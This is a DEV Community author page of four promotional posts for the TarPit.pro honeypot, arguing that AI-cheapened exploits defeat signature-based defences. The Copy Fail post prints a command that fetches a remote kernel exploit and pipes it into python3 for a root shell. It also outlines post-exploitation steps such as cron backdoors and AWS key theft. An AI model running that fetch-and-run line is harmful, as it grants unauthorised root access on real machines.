DEV Community: Christopher Karatzinis

AI made novel exploits cheap. Your signature stack didn't get the memo.

Christopher Karatzinis — Sun, 26 Jul 2026 08:24:24 +0000

In October 2024 a Google research agent called Big Sleep read the SQLite source and found a memory-safety bug no human had reported. Nine months later a newer version of the same agent found a second one, CVE-2025-6965, live, and Google shut it down before anyone in the wild got to use it. First time an AI has ever foiled a real exploit before it landed.

Sit with that for a second. The expensive part of an attack has always been the finding. A skilled human staring at a codebase for weeks, hunting one flaw nobody else has seen. That labour was the tax that kept most attackers using yesterday's known bugs. AI just cut the tax.

I run a honeypot company, so I watch this from the receiving end. In the last 30 days my sensors logged 60,508 attacks across 6 servers. 100,671 all up. Most of it is the usual internet weather, brute force against SSH, worms poking at Telnet and SMB. But the shape of the traffic is changing, and the research tells you why.

The finding got cheap. Watch the numbers.

XBOW is an autonomous pentester. In June 2025 it became the first non-human to top HackerOne's US leaderboard, roughly 1,060 vulnerabilities submitted. Not a demo. A machine out-hunting the best human bug hunters in the world.

At DARPA's AI Cyber Challenge that August, autonomous systems found 18 previously unknown real-world bugs in open-source software and patched 11 of them. Average cost per patch was $152. Average time was 45 minutes.

And a UIUC team pointed GPT-4 at 15 real one-day CVEs with only the public description to work from. It exploited 87% of them. Every other model and off-the-shelf scanner they tested scored zero.

None of this is theoretical any more. The capability is shipped, the price is falling, and the people on the other end of my honeypot are not researchers publishing papers. Anthropic caught a Chinese state group in November 2025 running an espionage campaign where their own model executed 80 to 90 percent of the operation on its own. Google's threat intel team documented malware that phones an LLM at runtime to rewrite itself and dodge antivirus. That one was used against Ukraine.

A firewall is a list of no

Here is the part that should worry you if you run infrastructure.

Your firewall is a list of no. Deny everything, permit these ports, these sources. It is a door with a lock, and a good one. But a door tells you nothing about who tried the handle or what they were carrying. It can't. That's not what it's for.

Signature detection sits behind the door and asks a different question: does this traffic match a known-bad pattern I've seen before? WAF rules, signature EDR, IPS feeds. All of it is memory. All of it works beautifully against attacks that have already happened to somebody else.

Now walk the two ideas together. Mandiant measured the average time from a bug being disclosed to being exploited. In 2018 it was 63 days. By 2023 it was 5 (outlier-adjusted). And in that same year 70% of the vulnerabilities actually exploited in the wild were zero days. There was no signature to write, because the exploit arrived before the disclosure.

That is the whole problem in one line. When the exploit is novel, the signature does not exist yet, and everything you bought to match signatures degrades by design. Not because the vendor is lazy. Because you cannot pattern-match a pattern you have never seen. AI is now manufacturing those never-seen patterns at a price a mid-tier criminal can afford.

Firewalls are necessary. They are not sufficient. They never were, and the gap between necessary and sufficient is exactly where the AI-assisted attacker now lives.

Detect the attacker, not the exploit

So if you can't match the payload, what can you match?

Behaviour. You don't need to recognise the exploit to recognise the trespass.

Put a service on your network that no legitimate user has any reason to touch. A Redis instance that isn't in anyone's connection string. A MySQL port that no app queries. A fake admin panel nobody bookmarked. Then watch it. Every single connection to that thing is hostile, because there is no innocent explanation for the connection existing at all. No false positives to tune. No signature to keep current. The event is the signal.

This is deception, and it is old. Honeypots have been around for decades. What's changed is the maths around them. A honeypot's oldest weakness was that it only watched. It saw the attacker, logged the attacker, and did nothing to the attacker. Meanwhile the same actor was scanning your real boxes from the same IP.

That is the gap I built TarPit.pro to close.

What the tarpit actually does

It's a single Go binary. No Docker, no agent sprawl, no runtime you have to babysit. It opens 70+ fake service banners, SSH, MySQL, Redis, Postgres, Telnet, FTP and the rest, so a scanner sees a target-rich box and starts working.

Then it does three things a passive honeypot won't. It tarpits: holds the connection open, drips bytes, wastes the attacker's clock and their scan budget. It captures: the actual payload they sent, the credentials they tried, the commands they ran, all forensic evidence I can hand you. And it bans the source across your whole fleet in minutes, so an IP that touches the decoy on one server is locked out of every server you run before it finishes its sweep.

Nobody legitimate ever connects to the decoy. So the ban carries no risk to your real users, and the signal carries no noise. That is the trade the AI era rewards.

This is where the money is going

I'm not the only one who thinks so. Gartner now forecasts that preemptive security, a bucket it explicitly names deception inside, goes from under 5% of security spend today to 50% by 2030. Their framing is that detection and response, the reactive stack, stops being the default. MITRE maintains a whole deception framework, Engage. The analysts and the standards bodies are both pointing the same direction, and they were pointing there before the AI-attack numbers got this loud.

Meanwhile the cost of being wrong keeps climbing. A US data breach now averages $10.22M, an all-time high (IBM, 2025). Ransomware showed up in 88% of small-business breaches last year versus 39% at large companies (Verizon DBIR). More than half of all web traffic is now automated and over a third of it is malicious bots (Imperva). The attacker got cheaper. The breach did not.

Try it on one box

TarPit.pro has a free tier. Two servers, cloud dashboard, live attack map, trap and ban included. You don't have to believe any argument I just made. Put the binary on a box you own, point it at the internet, and read your own logs for a week. The attackers show up within minutes. They always do.

Waste their time. Protect yours.

Christopher Karatzinis is the founder of TarPit.pro. Yes, this is a pitch. It's also 30 years of watching the same door get picked a slightly newer way every year.

Copy Fail is 732 bytes. Your foothold problem is the bigger one.

Christopher Karatzinis — Thu, 30 Apr 2026 05:29:56 +0000

CVE-2026-31431 dropped this week. The disclosure site is at copy.fail and the writeup is short enough to read with coffee.

The TL;DR: a logic flaw in the kernel's authencesn path, reachable through AF_ALG sockets, abused via splice() to land a 4-byte write into the page cache of any setuid binary. They picked /usr/bin/su for the demo. The whole exploit is 732 bytes of Python 3 standard library. No race window. No kernel offsets. Reliable across every affected distro from 2017 onward.

Quick run:

$ curl https://copy.fail/exp | python3 && su
#

Root shell. The kernel hands it over because AF_ALG is on by default and authencesn does the wrong thing under splice().

The bit nobody is talking about

Copy Fail is a local privilege escalation. The attacker still needs an unprivileged shell on your box to fire it.

That shell doesn't come from your hardened SSH. It comes from the WordPress plugin you forgot was installed. The Grafana on :3000. The Jenkins your CI team spun up two years ago. The leaked GitHub PAT in a public gist. The n-day on your firewall vendor that everyone is still patching.

They land as www-data. They run the 732-byte one-liner. They're root. Backdoor in /etc/cron.d/. known_hosts dumped. AWS keys pulled from ~/.aws/credentials. Your Ansible inventory is now their target list. Friday they're inside. Sunday they push. Monday your /home is on a leak site and you're explaining to legal why prod creds lived on a Jenkins worker.

What we actually see

I run TarPit.pro. It's a honeypot that answers on the ports your real services listen on, hands attackers a believable banner, then tarpits and bans them. Across 5 boxes in the last 20 days:

~40,000 attack attempts
~14,000 unique source IPs
~5,000 IPs auto banned
Top ports hit: SSH (14k), Telnet (3.2k), SMB (2.2k)
Top sources: US, China, UK, Hong Kong, Netherlands

That's the foothold market. Those are the IPs that, in another month, will be the ones running curl copy.fail/exp | python3 on whichever box they land on first.

Patch the kernel. Of course. Then drown them at the door.

You're going to patch. Distros are already shipping fixes. The next CVE is already being written though, and the foothold pipeline doesn't care which kernel you're running.

A honeypot doesn't replace patching. It buys you the one thing you can't get anywhere else: the brute forcer wastes their session on a fake SSH that never lets them in, gets banned across your fleet on the first connection and never reaches the box where Copy Fail or whatever comes next would have actually mattered.

Try it free: https://tarpit.pro

Single Go binary, systemd, fake banners on 70+ services, fleet wide bans across your servers. Free tier covers up to 2 servers with the cloud dashboard. Coupon LAUNCH101 gives 2 months free on Starter or Pro.

AI just found thousands of zero-days. Your firewall is still pattern-matching from 2014

Christopher Karatzinis — Fri, 10 Apr 2026 15:31:48 +0000

Anthropic just announced Claude Mythos, a LLModel so good at finding software vulnerabilities that they decided to keep it under lock and not release it publicly. While testing it, it unearthed thousands of high-severity zero-days across every major OS and browser. Some of them include a 27-year-old bug in OpenBSD (for some, the most secure OS out there), a 16-year-old flaw in FFmpeg and a memory corruption bug inside a memory-safe VMM. Some companies managed to get access (AWS, Apple, Google, Microsoft, NVIDIA, the Linux Foundation, JPMorgan, CrowdStrike, Palo Alto, Cisco, Broadcom) but not me or you! We have to wait for ... another life? (Full story: https://thehackernews.com/2026/04/anthropics-claude-mythos-finds.html)

It is natural to say "forget the press release", Anthropic is a responsible company but the interesting fact is the capability and the bugs exist and we only have to wait for the next LLM to reach the levels of Mythos without the safety brakes of Anthropic. Also certain nation states may already have something equivalent (or better) and obviously, they won't tell us.

Up to now, the economics of vulnerability discovery used to favor defenders: bugs were expensive to find, expensive to weaponize, and most attackers reused the same handful of public exploits. AI flips the curve. Discovery gets cheap, weaponization gets easy, the pool of "attackers using novel techniques" stops being a tiny elite and becomes the average Mirai operator with a GPU. Anyone with a basic knowledge of how to use claude code can become the next Project Zero researcher.

"But I have a firewall"

Most teams I talk about told me: probing for live services is just background noise (the most valuable resource is categorised as background noise???). I have super-configured a firewall, moved ssh to port 2222, I'm hidden behind cloudflare, I don't run anything on my server except a web project and ssh. Done, right?

That stack only works against threats that announce themselves on ports you're watching and more importantly with signatures you already know. It does nothing about:

A scanner hitting port 6379 with a Redis exploit you've never seen.
A new Confluence RCE landing 30 minutes after disclosure.
A pivoted attacker already inside your network probing your internal services.
A model driven scanner that doesn't brute force anything, it just walks straight to a real vulnerability on the first try, the way Mythos walked straight into 27-year-old OpenBSD code.

A firewall is a list of "no". It can't tell you who tried or what they tried or whether they came back from a different IP an hour later. It is an access control and not a detection system. This is the reason why sysadmins end up surprised in incident reports.

Detection is the missing half

What you actually want is two layers:

A door that's locked (firewall, hardening, patching).
A motion sensor on the lawn (something that sees the attacker before they reach the door, and tells you who they are).

The motion sensor is the half almost nobody has. It's the half that matters most when the attacker has new tools you've never seen. Because you don't need to recognize the exploit to recognize the behavior. Someone scanning your Redis port isn't your customer and will never be. Someone hitting fake SSH on a random VPS at 03:14 UTC isn't your sysadmin. You don't need a CVE to ban them but you still need to see them. This is what tarpits and honeypots are for and it's an embarrassingly old idea that most sysadmins still don't run.

Where TarPit.pro fits

Disclosure: I build TarPit.pro. It exists because I got tired of explaining this to people one server at a time. It's a single binary you drop on a server. It opens believable fake versions of the services attackers love — SSH, MySQL, Redis, Postgres, FTP, Telnet plus 70+ others (you can configure as many as you want) and does three things:

Catches anything that touches them. Real users have no reason to connect to a fake Redis on a server they don't manage. So every connection is hostile by definition. No false positives, no rule tuning.
Tarpits them. Holds the connection open, wastes their scanner budget and slows down whatever automated sweep they're running.
Bans them automatically — and on paid tiers, propagates that ban across every server in your fleet. One server catches a scanner, the rest of your fleet is already protected before the attacker gets there.

You get the data a firewall will never give you: who is hitting you, what they're trying, when, and where they're coming from. That's the half of security that turns "we got owned by a zero-day" into "we banned them at 03:14, here's the log."

Tarpit.pro runs on Linux, macOS and Windows. Free tier is a single binary + cloud dashboard, no Docker, no agent stack, no YAML safari. You can install it in about 60 seconds. Just visit https://tarpit.pro

Mythos is a glimpse of where attacker tooling is going. Cheap, fast, novel exploits at scale. The defenders who do fine in that world are the ones who stop relying purely on prevention and start running detection — actual eyes on the wire, not just a hardened door.

Firewalls are necessary. They are not sufficient. They have not been sufficient for years. AI just made the gap impossible to ignore.

How a passwordless Redis install led to a full rootkit and why I started running honeypots to protect my servers

Christopher Karatzinis — Wed, 08 Apr 2026 17:13:59 +0000

Everyone in my company talks about wp-login brute force, Wordfence, Sucuri, fail2ban to protect our customer servers. All of them are all great tools for protecting the door … unless you have broken windows. All these tools only see port 80/443 and they don’t care about the other 65,000 ports on your server. What caused me to add honey traps that fully block bad guys? One of my wordpress customers installed redis to check some speed improvements. Instead of talking to us, they decided to do some testing so they used some AI tool that installed a passwordless redis. A “lucky” probe found it and the hacker executed RCE. All those in just a few minutes that their test lasted! By the time we discovered it, it was too late. Rootkit was installed and my team had to spend a lot of time wiping out the whole server and recovering from backups.

The speed of the hack was amazing, but this is what you can expect from automated probes with nasty payloads. No amount of tools can beat misconfigurations and honest mistakes. I am a firm believer of processes: you can fix a process you can’t fix a person (especially developers). That’s why I decided to create the tarpit for our own use. Tarpit is effectively a personal honeypot. But instead of collecting information from attackers (not very useful to my customers) it does something else: it opens a bunch of ports that usually host legitimate software (like redis, mysql, postgres, irc, telnet, etc). When something connects to these ports, it gives you a realistic prompt and expects a reply. Then the fun starts: firstly, it delays the response… 3 seconds per character. If they’re unlucky enough to hit our honey trap, we might as well waste as much of the probe’s time as possible. Every second they spend stuck in our fake service, is a second they are not using to hit someone else (even if we don’t own the servers). Secondly, the moment they disconnect, the local firewall (whatever is available based on OS: win, mac and linux) grabs their IP and blocks them from all the services on that server for 24 hours (auto-clear). Thirdly, it shows on the dashboard map where the attack originated and keeps all the attack data. Finally, in cases where someone owns many servers (like in our case), the attack IP is propagated to all our fleet of servers: a bad IP is a bad IP - so they will never be able to hit anything else anywhere on our “micro universe”.

Looking at that, I thought: I bet more people might need this and it gave me the idea of a saas product: tarpit.pro - democratization of honeypot for server protection. There is an AI layer that proposes permanent bans depending on various patterns. After running it on 5 servers for 20 days, the numbers speak for themselves: ~40k attacks, ~14k unique IPs, ~5k auto-banned. SSH gets hammered the most (14k hits), then Telnet (yes, Telnet in 2026: 3.2k hits), then SMB…. Top source countries: US, China, UK, Hong Kong, Netherlands (I’m really surprised from this list, I was expecting a completely different mix). Most tried passwords: 123456, admin, password, foobared, the same Redis default that started this whole story. The first attack showed up 90 seconds after going live.

If you want to see what's hitting your servers: tarpit.pro . We offer a usable free tier for 2 servers - free forever including a web dashboard. You can use the code LAUNCH100 that will allow you to test the Pro for up to 4 servers for a month, so you can play with firewall rule propagation and all the other nice features of Pro.